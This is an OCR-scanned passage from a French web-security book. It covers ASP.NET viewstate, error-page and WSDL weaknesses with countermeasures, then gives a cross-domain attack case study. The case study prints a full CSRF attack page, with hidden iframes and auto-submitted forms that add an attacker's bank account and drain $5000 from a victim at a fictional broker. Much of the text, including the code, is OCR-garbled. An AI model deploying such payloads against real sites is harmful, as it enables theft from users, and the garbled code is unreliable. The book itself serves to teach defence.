sation trop courts, ces demiers manipulent souvent incorrectement ces donnees. 

Le parametre d'etat de vue Viewstate 

Lorsque Ton examine la soumission d'un formulaire aupres d'une application ASP.Net, 
on remarque souvent que chaque action Submit est accompagnee d'un parametre 
VIEWSTATE. Celui-ci permet au framework de conserver des informations relatives a 
I'etat des controles web ASP.Net sur une page. II enregistre, par exemple, quels 
elements sont actuellement representes dans une liste deroulante DropDownList et 
lequel a ete selectionne en dernier. Pour reduire la quantite de memoire requise a cette 
fin dans le serveur, ASP.Net encode ces donnees et les place sur la page, dans un champ 
cache du formulaire. Cet etat de vue (viewstate) est alors transmis au serveur de maniere a 
ce que celui-ci puisse restituer de maniere fidele les vues suivantes de la page. Les 
developpeurs pourront aussi incorporer des valeurs personnalisees dans I'etat de vue 
afin d'y acceder plus tard. En conservant cet etat cote client, il est plus facile d' ecrire 
des applications web qui croissent rapidement. 

Bien que I'etat de vue joue un role central pour une grande partie du framework 
ASP.Net, son implementation et son comportement sont mal documentes. Comme il est 
par ailleurs generalement mal compris par les developpeurs, une surface de frappe 
potentielle est alors creee pour les agresseurs cherchant des faiblesses dans les applications 
ASPNet. 
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Implementation de Viewstate 

Le framework ASP.Net place un etat de vue dans chaque page, sous forme d'un champ 
cache de formulaire. Pour I'observer, il suffit d'inspecter le code source de la page en 
question a la recherche du champ VIEWSTATE. Sa valeur, binaire, est encodee en Base64. 
Quand ASP refoit ce type de champ, il en decode les valeurs qu'il deserialise ensuite a 
I'aide de la classe System. Web . LosFormatter. Non content de fournir un format binaire 
compacte pour les donnees d'un objet, la classe LosFormatter propose un autre niveau 
de compression en creant des tables internes de chaines pour les donnees repetees. 
D' autre part, I'etat de vue peut encore etre chiffre et/ou signe. 

Par defaut, le framework ASP.Net dotera les donnees de I'etat de vue d'un HMAC 
(code d'authentification du message par hachage ou keyed-Hash Message Authentica- 
tion Code) , ce qui signifie que les clients ne pourront pas en perturber les valeurs. Ce 
code est genere a I'aide d'un algorithme de hachage employant une cle speciale propre 
au serveur. Dans la plupart des installations, cette derniere sera produite automatique- 
ment par ASP.Net, et les developpeurs beneficieront automatiquement des protections 
d'integrite assurees par I'etat de vue. Exception de taille a cette regie : les environne- 
ments web organisant les serveurs sous forme de fermes impliquant de nombreuses 
machines. La cle etant produite machine par machine et non exportee, chacun des 
noeuds de la ferme disposera de la sienne. L' absence d'une infrastructure de cle parta- 
gee implique qu'aucun serveur ne pourra controler la signature d'un etat de vue genere 
par des installations d'ASPNet relevant d'autres machines. 

Pour traiter ce cas de figure, les developpeurs pourront generer manuellement une cle et 
preciser celle-ci dans I'element machineKey du fichier Web . conf ig ou desactiver la vali- 
dation de I'etat de vue page par page ou au niveau de toute la machine. La premiere 
solution souffre de certains inconvenients : il faut synchroniser la cle sur toutes les 
machines de la ferme. Comme pour la plupart des solutions de gestion de cles, il sera 
peut-etre difficile de changer celle-ci sans perturber les utihsateurs connectes a 1' appli- 
cation. Pour savoir si le controle d'integrite d'etat de vue est desactive, il suffit de modi- 
fier la valeur VIEWSTATE avant soumission. Si le serveur accepte sans se plaindre, il est 
probable que ce mecanisme ne fonctionne pas. 

Non content de proposer une signature, I'etat de vue peut aussi etre chiffre par I'un des 
algorithmes Data Encryption Standard (DES), Triple DES (3DES) ou Advanced 
Encryption Standard (AES). Par defaut, le framework ASP.Net ne le chiffre pas. 
Cette precaution pourra eviter de devoiler des donnees sensibles, mais Microsoft la 
deconseille et recommande de ne jamais placer de donnees sensibles dans I'etat de vue. 
Evidemment, toutes les lignes de conduite ne sont pas systematiquement suivies, aussi 
prendra-t-on le temps de controler que I'etat de vue n'embarque rien de confidentiel. Si 
ce parametre semble chiffre, on tentera de le sauvegarder, de se connecter sous un autre 
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identifiant et de soumettre alors la valeur ainsi conservee. En melant des donnees issues 
d'utilisateurs differents, il est possible qu'on obtienne de 1' application qu'elle se 
comporte d'une maniere peu sure. 

Dans la version 2.0 de .Net, le framework ASP.Net a incorpore le champ de formulaire 
supplementaire de validation d'evenement EVENTVALIDATION. II s'agissait de parer 
I'attaque qui consistait a publier des messages aupres de gestionnaires d'evenements a 
I'ecoute, ces messageq n'etant pas representes sur la page de I'utilisateur. Si un ecran 
prevoyait ainsi un bouton de destruction d'utilisateur Delete User n'apparaissant que 
lors d'une consultation par un administrateur, un attaquant pouvait malgre tout envoyer 
des postbacks a son gestionnaire d'evenements. Dans certains cas, et selon que I'appli- 
cation menait systematiquement ou non des controles d'acces corrects, 1' acceptation de 
I'evenement pouvait doter I'utilisateur de privileges superieurs. Le champ 
EVENTVALIDATION evite cela en consignant la liste des gestionnaires d'evenements 
valides. Ce champ est associe a I'etat de vue par des references croisees et, a nouveau, 
un HMAC y evite toute alteration. 

Acces aux donnees sensibles en decodant I'etat de vue 



Popularite : 


4 


Simplicite : 


7 


Impact : 


6 


Evaluation du risque : 


6 



Lorsqu'il s'attaque a une application ASP.Net reposant sur viewstate, un agresseur 
procede en plusieurs etapes. II emploie d'abord I'outil de decodage d'etat de vue Views- 
tate Decoder de Fritz Onion (www.pluralsight.coin/tools.aspx) pour rechercher des 
informations sensibles dans ce champ. Etant donne qu'il n'est pas chiffre par defaut, 
r attaquant souhaite exploiter les erreurs d' inattention du developpeur pour en savoir 
plus sur r application. Pour cela, il pourra pointer directement ce produit sur une page 
web, ou y copier-coUer manuellement I'etat de vue qu'il aura trouve dans le code 
source HTML qui I'interesse. 

Voici comment extraire un etat de vue et le decoder : 

1. Ouvrir le code source de la page web a I'aide de la commande adequate du navigateur 
(par exemple Voir le code source). 

2. Y rechercher la chame VIEWSTATE, oil elle devrait apparaitre dans un champ de 
formulaire masque. 
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3. Recopier la valeur de VIEWSTATE depuis la page dans le champ Viewstate String 
(chame d'etat de vue) du decodeur. 

4. Explorer le contenu du parametre VIEWSTATE dans I'affichage arborescent appa- 
raissant alors sur le cote droit du decodeur. 

Absence d'informations sensibles dans I'etat de vue 

Bien que la plupart des donnees consignees dans le parametre viewstate ne presentent 
guere d'interet, elles seront parfois riches d'enseignements pour un agresseur, qui y 
trouvera parfois des informations relatives aux comptes ou au systeme interne. Reussir 
a decoder I'etat de vue montrera que celui-ci n'etait pas chiffre. Si Ton decouvre alors 
des informations confidentielles, cela pose un gros risque de securite. L'etat de vue rele- 
vant du texte de la page, il sera transmis sur le reseau a chaque visualisation de celle-ci, 
et persistera dans les pages de cache (memoire tampon). Les developpeurs ne devraient 
done jamais y stocker rien de sensible. 

On croit souvent a tort que I'etat de vue est propre a I'utilisateur et vise a empecher les 
attaques de type "forgement de requetes sur d'autres sites" (CSRF) - voir a ce sujet le 
document www.isecpartners.coni/files/XSRF_Paper_0.pdf. C'est certes paifois le cas, 
mais tout benefice en matiere de securite n'est generalement qu'accidentel. Lorsqu'il 
tente d'exploiter une faille CSRF, I'agresseur tentera d'oter I'etat de vue de la page, 
oil il est rarement necessaire a son bon fonctionnement. Si la page se plaint alors 
de I'absence du parametre viewstate, I'agresseur tachera de se connecter sur I'applica- 
tion, de visiter la page et de copier I'etat de vue ainsi obtenu dans son attaque. Selon 
r application concernee, le framework pourra accepter I'etat de vue au nom de la 
victime. S'il est possible d'omettre le parametre viewstate ou d'en modifier la valeur, 
c'est que toutes les applications ne dependent pas de sa presence ni de sa bonne 
initialisation. 

Pour limiter les faiblesses en matiere de CSRF, le framework ASRNet a introduit, dans 
sa version 1.1, lapropriete Page . ViewStateUserKey, capable d'augmenter I'entropie de 
I'etat de vue. Lorsqu'ASRNet refoit un postback, il associe la propriete ViewStateUser 
Key a la cle de validation pour calculer le HMAC de I'etat de vue de la page. En ajoutant 
une valeur propre a I'utilisateur et a la page, on empeche tout agresseur de proposer son 
propre etat de vue lors d'une agression de type CSRF. 

Cette approche souffre cependant de plusieurs faiblesses importantes. Tout d'abord, les 
garanties de securite apportees par la cle d'utilisateur d'etat de vue sont mal documen- 
tees par Microsoft. Quand bien meme cette protection suffirait-elle aujourd'hui, cette 
societe s'est reserve le droit de la modifier a I'avenir en ne promettant ni en ne garantis- 
sant rien a ce sujet dans la documentation proposee aux developpeurs d' applications. 
D'autre part, il est frequent que ces derniers emploient mal la cle d'utilisateur d'etat de 
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vue en n'y proposant pas une valeur appropriee. Pour que I'application puisse se prote- 
ger efficacement contre les attaques de type CSRF, il ne faut pas qu'un agresseur puisse 
foumir ou acceder a la valeur employee dans ce champ. Un identifiant de session non 
previsible et stocke dans le cookie de I'utilisateur constitue un bon exemple de valeur 
pour ce parametre. On se protegera davantage encore en associant a I'identifiant de 
session une valeur dependant de la page. Si la cle change d'une page a I'auti^e, la diffi- 
culte de concevoir une attaque croit, car il est impossible de reprendre la meme valeur. 
Apres avoir precise la valeur de la cle, assurez-vous de proteger 1' application en refe- 
rengant son etat de vue ; de cette maniere, on garantira sa bonne validation. 

Une demiere remarque concernant I'integrite et la confidentialite de I'etat de vue et 
I'efficacite des protections contre les agressions de type CSRF. Comme on I'a signale, 
le contrat de securite relatif au parametre viewstate est exprime de maniere ambigue 
dans la documentation. Meme si les mecanismes existants semblent surs, rien ne gai^an- 
tit qu'ils ne changeront pas dans une version future des frameworks ASP.Net ou .Net. 
Pour reduire I'impact de toute faille relative a I'etat de vue, on n'y placera jamais de 
donnees confidentielles, on n'accordera jamais de credit a son integrite. Pour les appli- 
cations .Net, nous recommandons I'emploi d'un jeton de protection contre les attaques 
CSRF plus propre a I'application. N'oubliez jamais que les agresseurs garderont un ceil 
attentif sur cette question dans les prochaines versions du framework ASP.Net. 

Visualisation des informations systeme grace aux pages d'erreur 



Popularite : 8 


Simplicite : 8 


Impact : 


4 


Evaluation du risque : 


6 



Pour aider les developpeurs a deboguer les applications, le framework ASP.Net inter- 
cepte les exceptions non traitees par le programmeur pour les presenter dans une page 
indiquant le module conceme et, si le code source est disponible, reprenant les lignes 
responsables. Par defaut, ces messages d'erreur n'apparaissent qu'aux utilisateurs 
consultant la page web depuis la page locale. Cependant, les developpeurs levent 
souvent cette restriction lorsqu'ils souhaitent faire fonctionner une application web 
dans un environnement de production. Devoiler de telles informations dote parfois les 
agresseurs d' informations precieuses sur I'application et son comportement. Lorsqu'il 
analysera une application ASP.Net, un attaquant portera une attention particuliere aux 
pages d'erreur renvoyees. Tout element de debogage signale pouiTa inspirer de futures 
attaques. 
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La Figure 5.1 presente la trace de la pile lorsque Ton tente de soumettre des contenus 
malveillants, interceptes par la validation de page sur ASP.Net. De cette maniere, I'atta- 
quant glane des informations vitales sur les raisons expliquant la reussite ou I'echec de 
I'attaque. 
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Figure 5. 1 

Trace de pile devoilee par ASP.Net apres soumission de contenus malveillants par un agresseur 



Visualisation des contre- mesu res conformation systeme avec les pages 
d'erreur 

Pour configurer un serveur ASP.Net ne maniere a ne pas renvoyer des informations de 
debogage detaillees, il est recommande d'y preciser une page d'erreur par defaut pour 
r application. On pourra pour cela intervenir sur son fichier Web.config, oil Ton 
remplacera la valeur d'attribut def aultRedirect de I'element customErrors. En y 
precisant une page d'erreur par defaut, on s'assurera que les donnees sensibles propres 
a I'application ne seront jamais presentees aux agresseurs distants. Cette precaution 
constitue done une bonne mesure de defense en profondeur dans I'ecriture d'une appli- 
cation web ASP.Net securisee. 

Voici un exemple de fichier Web.config employant I'element customErrors et une 
redirection par defaut (Redirect) pour limiter les fuites susceptibles de survenir lors 
d'erreur s : 
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<conf iguration> 

<system.web> 

<customErrors mode="On" clefaultRedirect="Error.html"> 
<error statusCode="403" redirect="NoAccess.htm" /> 
<error statusCode="404" redirect="FileNotFound.htm" /> 
</customErrors> 
</systeni.web> 
</conf iguration> 

Attaques des services web 

Non seulement le framework ASP.Net propose des fonctionnalites de pages web, mais 
sa plate-forme d' applications dispose d'une pile complete pour les services web. Les 
methodes de classes standard pourront etre transformees en methodes de services web 
par application de I'attribut WebMethod sur le membre de classe. Cela indique au 
framework que la methode sera exposee dans le service web. Apres avoir ajoute I'attri- 
but WebMethod, le developpeur devra placer un fichier de service web ASMX sur le 
service web, aux cotes du code de 1' application associee. Le filtre d'interface de 
programmation serveur Internet d' ASP.Net {ASP.Net Internet Server API ou ISAPI) du 
serveur IIS (Internet Information Serx'ices) saura alors interpreter toute reference au 
fichier ASMX comme une requete de service web, et la traiter de maniere appropriee. 

Decouverte des informations de service web en visualisant le fictiier WSDL 



Popularite : 8 


Simplicite : 8 


Impact : 


3 


Evaluation du risque : 


4 



Lorsqu'il s'attaque a des applications .Net, un agresseur recherchera sur le serveur web 
des references a des fichiers ASMX, plus frequentes dans les applications du Web 2.0 
exposant des methodes de services web AJAX. Si son exploration est couronnee de 
succes, I'attaquant poun^a souvent obtenir des informations relatives au service web en 
emettant une requete de la forme http://<h6te distant>/service web . asmx?WSDL 
ou en pointant directement sur la page ASMX. Si le service web active sa documenta- 
tion (situation par defaut), le framework ASP.Net renverra avec joie un fichier WSDL 
(Web Services Description Language) renfermant une description complete du service 
web, et precisant notamment les methodes disponibles et les parametres qu'elles atten- 
dent. Cela represente une mine d'or aux yeux d'un agresseur. II est frequent que les 
interfaces de services web ne soient pas aussi bien protegees que les interfaces web 
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faute d'etre aussi bien comprises ou parce que Ton ne pense pas que des agresseurs 
pourront cibler directement 1' interface du service web. 

Si les methodes du service web ne recourent qu'a des types simples de .Net, le 
framework ASP.Net fournira un echantillon de formulaire de requete permettant aux 
utilisateurs d'appeler directement ces methodes depuis un navigateur web. Cela evite a 
I'agresseur la peine d'ecrire des outils d'attaque complexes. La Figure 5.2 presente la 
page de documentation d'une methode de service web renvoyant a I'utilisateur la valeur 
du parametre echoString. 
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To test the operation using the HTTP PQST protocol, click the 'Invoke' button. 
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SOAP 1.1 








The following is a sample SOAP 1.1 request and response. The placeholders sho 


wn need to be replaced with actual values. 








EOSI /Servicel. aarax 
Kq3Z : iQcaliiaat 

Content-Iype : "text/xial : ctiar3e"t=utf-S 
Co nt e nt -Le ngt ii : leag~tb. 

SOAPActlon: "iittp: / /iiac-Jtingesposed . caia/Echa" 










<7sial ver3iQn=''1.0'' encQilliig=''ut;f-S''?> 

<:3aap: Envelope xiolns : X3l=''iittp: //www . w3 . QEg/20Ql/XMLScheiiia 
<3aap:Baily> 

-<Eclia xialii3=''b.t;t;p: / /hacitiiigejtpQsed . caiB/''> 

-<eciiaSt;iiiig>striQg-e/ ecb.aStriDg> 
</Ech.Q> 
</3aap:Bady> 
</ 3aap: Eiivelape> 


-instance" xioliis : iL3il=''iittp: //www. w3 


aig/2001/; 
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' Local intranet 







Figure 5.2 

Page de documentation d'une methode elementaire de service web. 



Desactivation de la generation de la documentation du service web 

Pour eviter de devoiler automatiquement des informations relatives au service web, on 
pourra intervenir sur le fichier Web . conf ig pour desactiver la documentation. En ce cas, 
un agresseur ne pourra plus rapatrier un fichier WSDL decrivant le service web, ni 
employer I'interface de service automatiquement produite par le framework ASP.Net. 
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On procedera en incorporant la portion System. Web qui suit au fichier Web.conf ig du 
service web concerne : 

<webServices> 

<protocols> 

<remove name="Documentation" /> 

</protocols> 
</webServices> 

Soulignons que desactiver ainsi la documentation imposera de distribuer un fichier 
WSDL ou la description du service web a tout utilisateur souhaitant y faire appel. Tout 
agresseur capable de deviner quelles methodes le service propose pourra lui aussi y 
emettre des requetes. Par consequent, cacher ainsi la documentation releve plus du 
mecanisme de maquillage que de la mise en place d'un obstacle significatif sur le 
chemin d'un agresseur determine. Assurez-vous d' avoir bien mis en place des mecanis- 
mes d'authentification et d' autorisation appropries, de sorte que meme s'il decouvre la 
definition du service, un agresseur ne pourra pas en compromettre 1' application. 

Resume 

Les frameworks .Net et ASP.Net ameliorent la securite des applications en contrant un 
certain nombre d'attaques classiques, mais ils pourront aussi doter les developpeurs 
d'un sens errone de la securite. Les agresseurs analysant une application .Net accorde- 
ront une attention particuliere aux mauvais emplois des API du framework ou aux 
modifications des valeurs par defaut securisees. D' autre part, ils se rappelleront que 
quel que soit le framework, les erreurs d'algorithmique dans 1' application demeurent 
une source potentielle de failles. lis refiechiront au fonctionnement interne de 1' applica- 
tion, se familiariseront avec le framework, puis passeront a 1' attaque sur les applications 
.Net. 

Pour vous aider a proteger les applications .Net, Microsoft a public plusieurs documents 
decrivant les fonctionnalites de securite prevues et comment configurer coiTcctement 
les serveurs web applicatifs d'ASPNet. Faites-en bon usage pour securiser convena- 
blement vos environnements .Net. 
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Etude de cas : 
Attaques inter-domaines 

Alors que le Web 2.0 ne cesse de croTtre, ses applications interagissent de plus en plus, ce 
qui cause des problemes de securite pour les organisations souhaitant garantir la securite 
de leurs sites. II est suffisamment difficile pour un individu isole d'assurer la protection de sa 
propre application web, mais les organisations doivent desormais composer avec une 
myriade de publicites, flux RSS, applications composites {mash-up), depeches, et autres 
contenus issus de tiers. Nous I'avons souligne au Chapitre 3, les interactions inter-domaines 
rencontrees dans de nombreuses applications du Web 2.0 reduisent leur niveau de securite 
a celui du maillon le plus faible. Par consequent, une application web s'appuyant sur du 
contenu non securise provenant d'une application tierce non securisee equivaut a deux 
applications web non sures. 

Dans cette etude de cas, nous appliquerons ce que nous avons appris au sujet des attaques 
inter-domaines au Chapitre 3 a quelques exemples concrets, en presentant notamment une 
attaque de pompage d'actions inter-domaines, et en evoquant les frontieres de securite 
d'un domaine a I'autre. 

Pomper la valeur d'actions depuis un autre domaine 

Les attaques par hame^onnage {phishing), ou les criminels recourent a des courriels 
deloyaux ou forges pour inciter des utilisateurs credules a se rendre sur un site malveillant 
usurpant I'identite d'un site de banque ou de commerce electronique populaire, represen- 
tent une bonne proportion de I'univers de la fraude en ligne. Leur objectif principal est 
d'inciter un utilisateur a fournir des informations personnelles, des elements de connexion 
ou d'exploiter une faille d'un navigateur repandu pour installer des logiciels espions et 
collecter ces donnees d'une maniere plus directe, par exemple a I'aide d'un enregistreur de 
frappe {keylogger). Quand il dispose de ces informations, le criminel s'en sert pour operer 
des transferts entre comptes bancaires, manipuler des sites de ventes aux encheres en ligne 
ou realiser a grande echelle des detournements d'identite. 

Recemment, la fraude en ligne a innove en associant des techniques modernes d'intrusion 
(infection par logiciels espions et reseaux de machines zombies ou botnet) a une escroque- 
rie presque vieille de plusieurs siecles, appelee "pompage d'actions" {stock pumping). Elle 
repose sur la capacite qu'ont un petit nombre d'investisseurs d'agir sur le prix de valeurs 
mobilieres tres bon marche et en faible quantite, comme les actions cotees par Pink Sheets. 
Depuis que les bourses existent, les fraudeurs ont tente de faire fortune ainsi, en fabriquant 
generalement de toutes pieces des rumeurs positives portant sur la societe concernee a 
travers depliants, bouche-a-oreille ou appels telephoniques directs passes depuis des orga- 
nisations appelees Boiler Rooms, organisations qui escroquent les particuliers en leur 
vendant des placements fictifs. Les emetteurs de courriels non sollicites ont tant et si bien 
reussi, a la fin des annees 1990 et au debut des annees 2000, a vendre des medicaments 
contrefaits ou a persuader des individus a tomber dans des escroqueries classiques, que les 
pompeurs d'actions ont fini par adopter les memes techniques. De maniere traditionnelle, 
on ne pouvait etre victime d'une telle manipulation qu'en attribuant du credit a un 
message trompeur publie en ligne ou a un courriel indesirable. 
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En s'appuyant sur une vulnerabilite inter-domaines dont souffre un "compensateur 
"{broker) en ligne, les pompeurs d'actions peuvent s'epargner la difficile etape de convain- 
cre un naif d'acheter une action, pour s'adresser directement a la source de confiance en ce 
qui concerne I'organisme de compensation - a savoir le navigateur web de I'utilisateur. 
Grace a cette methode, I'agresseur peut controler les comptes en ligne du compensateur 
d'une maniere bien plus subtile et difficile a tracer que le "transfert frauduleux de fonds" 
classique. 

Victor LaVictime, auteur de romans de politique-fiction autour de la haute technologie 
(techno-thrillers), est un boursicoteur avise ainsi qu'un utilisateur d'Internet bien plus expe- 
rimental que la moyenne. II est immunise contre les innombrables courriels de pompage 
d'actions qu'il trouve regulierement. Les pauvres fous assez naifs pour tomber dans ce 
genre de panneaux lui font pitie. Operateur de marche {trader) actif, il surveille son porte- 
feuille d'actions tout au long de la journee, tout en travaillant a son dernier titre. Operation 
poisson-chat, mettant en scene son populaire heros Roger Dugenou. 

Victor est client d'un organisme de compensation en ligne populaire et a prix casses, BadS- 
tockBroker.com, dont il apprecie le dernier slogan presentant continuellement la valeur des 
actions et programme en AJAX. Cette nouvelle application de surveillance du portefeuille 
incorpore une page web employant la technologie JavaScript et s'executant sur son bureau, 
dans une petite fenetre de navigateur. Pour cela, elle fait appel a un objet XMLHttpRequest 
pour rapatrier les derniers prix depuis BadStockBroker.com sans rafrakhir toute la page, 
avant de mettre a jour le DOM de celle-ci en y injectant les resultats obtenus. Cet emploi 
d'AJAX dote Victor de la possibilite de recevoir immediatement les informations de son 
compensateur sans lui imposer d'irritants chargements de page ou I'installation d'un client 
lourd sur son systeme d'exploitation. 

Pour reduire la quantite de donnees transferees lors de chaque requete, les positions de 
Victor sont representees sous la forme d'un tableau JavaScript donnant le code de I'entre- 
prise cotee, le nombre d'actions et leur prix actuel : 

[["MSFT",100,31 .43] 
, [ "GOOG" ,50,510.22] 
,["AAPL",10,115.67] 
] 

Lorsqu'il boursicote, Victor aime trainer sur des forums pour discuter avec d'autres petits 
actionnaires, recuperer des tuyaux et parler du marche. Pendant une telle session, il trouve 
un message publie par une certaine Irene Innocente : 

Etes-vous client de BadStockTrader.com ? C'est mon cas et je m'inquiete de failles de secu- 
rity decouvertes recemment sur leur site web. J'ai d'ailleurs redige un rapport a ce sujet, 
que vous trouverez a I'adresse http : / /tinyurl . com/4z6f 7n. 

Naturellement inquiet de la securite de son compte chez son compensateur, Victor suit le 
lien. II aboutit sur une page web pretendant abruptement que son compte n'est pas sur, 
sans etayer cette affirmation. Tout en lisant ce texte, il n'avait pas conscience des actions 
menees en coulisses par le code JavaScript embarque dans cette page web : 

<html> 
<body> 

BadStockBroker.com souffre d'un tas d'enormes failles de securite! 
Ne faites pas appel a leurs services parce que... 



1 54 Hacking sur le Web 2. 0 



<!-- Cree les iFrames malveillants, en s'assurant qu'ils ne s'affichent pas --> 
<iframe style="display : none" name="iFrameDAttaque1 "> 
</if rame> 

<iframe style="display : none" name="iFrameDAttaque2"> 
</if rame> 

<iframe style="display : none" name="iFrameDAttaque3"> 
</if rame> 

<iframe style="display : none" name="iFrameDAttaque4"> 
</if rame> 

<!-- Definit quatre formulaires pour realiser les requetes malveillantes --> 
<!-- On ajoute d'abord un nouveau compte cheques --> 
<form style="display : none; visibility: hidden" target="iFrameDAttaque1 " 
action="https : / /www. badstockbroker.com/account/associateAccts. j sp" 
method="POST" name="f ormulaireDAttaquel "> 

<input type=hidden name="Action" value="AddAccount"> 
<input type=hidden name="BankName" value="Banque de l'Agresseur"> 
<input type=hidden name="RoutingNumber" value="55443297543"> 
<input type=hidden name="AcctNumber" value="55447733"> 
<input type=hidden name="AcctIndex" value="2"> 
</f orm> 

<!-- On soumet ensuite une requete pour transferer 5000 USD vers ce 
nouveau compte cheques. Cette requete repose generalement sur deux 
soumissions de 1 ' utilisateur , mais la seconde se contentant de 
modifier le champ "Confirm", on peut passer outre le premier POST --> 
<form style="display : none; visibility: hidden" target="iFrameDAttaque2" 
action="https : / /www. badstockbroker. com /account /withdraw. ] sp" met hod=" POST" 
name="f ormulaireDAttaque2"> 

<input type=hidden name="Action" value="Withdraw"> 
<input type=hidden name="AcctIndex" value="2"> 
<input type=hidden name="Amount" value="5000.00"> 
<input type=hidden name="Conf irm" value="Yes"> 
</f orm> 

<!-- On soumet ensuite une requete pour transferer 5000 USD vers ce 
nouveau compte cheques. Cette requete repose generalement sur deux 
soumissions de 1 ' utilisateur , mais la seconde se contentant de 
modifier le champ "Confirm", on peut passer outre le premier POST --> 
<form style="display : none; visibility: hidden" target="iFrameDAttaque3" 
action="https : / /www. badstockbroker . com /account /withdraw. j sp" met hod=" POST" 
name="f ormulaireDAttaque3"> 

<input type=hidden name="Action" value="Withdraw"> 
<input type=hidden name="AcctIndex" value="2"> 
<input type=hidden name="Amount" value="5000.00"> 
<input type=hidden name="Conf irm" value="Yes"> 
</f orm> 

<!-- Pour couvrir nos traces, on efface maintenant le nouveau compte. --> 
<form style="display : none; visibility: hidden" target="iFrameDAttaque1 " 
action="https : / /www. badstockbroker .com/ account /associateAccts. j sp" 
method="POST" name="f ormulaireDAttaquel "> 

<input type=hidden name="Action" value="DelAccount"> 
<input type=hidden name="BankName" value="Banque de 1 ' agresseur"> 
<input type=hidden name="RoutingNumber" value="55443297543"> 
<input type=hidden name="AcctNumber" value="55447733"> 
<input type=hidden name="AcctIndex" value="2"> 
</f orm> 
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<!-- On soumet alors les trois formulaires a des intervalles 
de deux secondes. --> 
<script> 

document .formulaireDAttaquel .submit() ; 

setTimeout( ' document. formulaireDAttaque2. submit () ; ' , 2000) ; 
setTimeout ( ' document .formula! reDAttaqueS . submit ( ) ; ' , 2000) ; 
</script> 

</body> 
</html> 

Lors des quatre premieres secondes pendant lesquelles Victor consultera cette page, le 
code JavaScript qu'elle renferme construira trois formulaires HTML qu'il soumettra au site 
BadStockBroker.com. Ces formulaires realisent trois actions, auxquelles son navigateur asso- 
ciera automatiquement le cookie de session de Victor. Ce dernier ne persiste certes pas 
d'une session de navigation a la suivante, mais il restera valide tout au long de la consulta- 
tion de Victor de par son utilisateur du ruban presentant continuellement la valeur des 
actions. Ces requetes executeront ce qui suit sur le compte de Victor, et dans cet ordre : 

1. Incorporer le compte bancaire de I'agresseur comme point de transfert possible sur le 
compte de compensation de Victor. 

2. Transferer 5000 USD du compte de Victor sur ce nouveau compte cheques. 

3. Effacer le nouveau compte cheques. 

En recevant son releve de compte mensuel quelques semaines plus tard, Victor remarquera 
cette ponction non autorisee, sans pouvoir en identifier I'origine ou la cause. II contacte 
alors le service clients de BadStockBroker.com pour se plaindre, et on le transfere au service 
des fraudes. L'histoire de Victor n'est guere diserte en detail sur les circonstances de I'inci- 
dent, mais ce dernier consulte les archives des transactions realisees par le compte de Victor, 
pour decouvrir une operation validee depuis son adresse IP, employant un cookie de session 
provoque par une connexion legitime, et intercalee entre des achats et des ventes que 
Victor reconnait avoir effectues. Non conscient des failles CSRF dont souffre le site web de 
la societe, le service des fraudes porte plainte et I'enquete qui suit voit en Victor le suspect 
principal d'un scenario ou il tenterait d'escroquer BadStockBroker.com. Inutile de dire qu'il 
n'est pas pres de revoir son argent... 

Frontieres de securite 

Une frontiers de securite est un terme relevant du jargon des professionnels du metier. 
L'idee est de separer les silos de securite des reseaux ou des applications. Ainsi, une applica- 
tion manipulant des informations client sensibles sera entouree d'une robuste barriere, la 
rendant inaccessible aux services ou applications non autorises. Malheureusement, dans le 
monde du Web 2.0, les applications sont construites d'une maniere rendant plus obsoletes 
les limites traditionnelles. Une page web embarquant une publicite, ou faisant appel a un 
suivi de I'utilisateur, hebergee chez un tiers montre comment des contenus relevant d'une 
autre organisation peuvent aboutir sur une page. En presence de donnees provenant de 
differentes applications, toute frontiere de securite disparaTt, et une application web repo- 
sant sur des informations issues de plusieurs frontieres de securite verra sa robustesse 
reduite a celle du maillon le plus faible. Si mon application web intranet incorpore des 
scripts issus de tiers et stockes en dehors de mon reseau, des agresseurs externes pourront y 
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acceder et modifier les programmes que mon navigateur charge, depuis la confortable 
zone de securite de mon intranet, desormais bien compromise. 

On presente ci-apres un exemple illustrant une faiblesse classique dans les applications web, 
etendant la frontiere de securite d'un site pour lui faire embrasser plusieurs domaines. Ce 
type d'extensions ne devrait etre autorise que lorsque cela fait sens d'un point de vue 
commercial et quand les developpeurs prennent un tel risque en toute conscience. Souvent, 
ces operations sont realisees sans justification ni etude des impacts en matiere de securite. 

Les pages web sont generalement construites a partir de plusieurs sources : 

• fichlers . html renfermant des contenus ou des cadres {frames) HTML ; 

• scripts . i s servant a restituer I'apparence de la page ; 

• fichlers . gif , . png et . j pg pour les images ; 

• feuilles de style .ess. 

L'ecrlture d'une seule page web fait reference a d'autres ressources que le navigateur dolt 
incorporer lors de son rendu - disposition des tableaux, informations de style, images, 
scripts actlvant les animations, realisant des calculs ou presentant des publlcites. Ces dernieres 
sont souvent ecrites par des tiers et stockees sur leurs sites, dont les utilisateurs raisonnables 
se meflent de certains en raison de leur reputation douteuse. Une inclusion de publicite sur 
une page HTML pourra se presenter comme suit : 

<script language="JavaScript" src="http: //Exemple. 
B0ITE_DE_PUB.COM/adi /unsite/ nouvelles/monde/ nation ;ptype=s; 
slug=lanausattys13mar13; rg=ur; ref =f oof lecom; pos=lef t2; 
sz=1 20x60 ;tile=3;ord=451 13127?" type="text/JavaScript"> 
</script> 

Ce code charge un script situe sur le site de la boite de pub dans le contexte de la page en 
cours de rendu. Comme tout script charge dans le navigateur, ce programme accede a 
rintegralite du contenu de la page, exactement comme s'il provenalt du serveur principal. 
En particulier, II pourra : 

• lire les cookies de la page et leurs valeurs et les changer ; 

• lire le contenu de la page, y compris tout jeton de protection contre la fabrication de 
requetes inter-sites (CSRF) en cours d'utillsation ; 

• le contenu d'autres pages sur le site servant cette publicite, meme si elles se trouvent sur 
rintranet du visiteur, protegees par des certificats client ou activant un controle d'acces 
par adresse IP ; elles contlendront peut-etre des Informations personnelles portant sur 
I'utilisateur, des details de comptes, des contenus de messages, etc. 

Les applications web incorporant des scripts Issus de domaines tiers donnent a ce code un 
acces a la vue prealablement privee du site web par I'utilisateur Les publlcltalres ou ceux 
qui prennent le controle de leurs serveurs pourront ainsi jeter un cell aux donnees financleres 
d'un client sur le site web de sa banque. 

Un autre risque pose par I'Inclusion de scripts issus de tiers est le danger de les voir compro- 
mis par un acteur encore plus malveillant que les socletes de publicite. Une plate-forme 
bancaire par allleurs sure pourra etre mise a mal par I'inclusion de scripts en provenance 
d'un site aux mains d'un agresseur. Souvenez-vous que ces programmes peuvent surveiller 
les frappes de touches ou reecrire les controles de formulalres; les attaquants pourront 
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enregistrer les saisies a la recherche de mots de passe, numeros de cartes de credit et autres 
informations personnelles. 

Certaines des societes de confiance en matiere de fournlture de certificats de securite SSL 
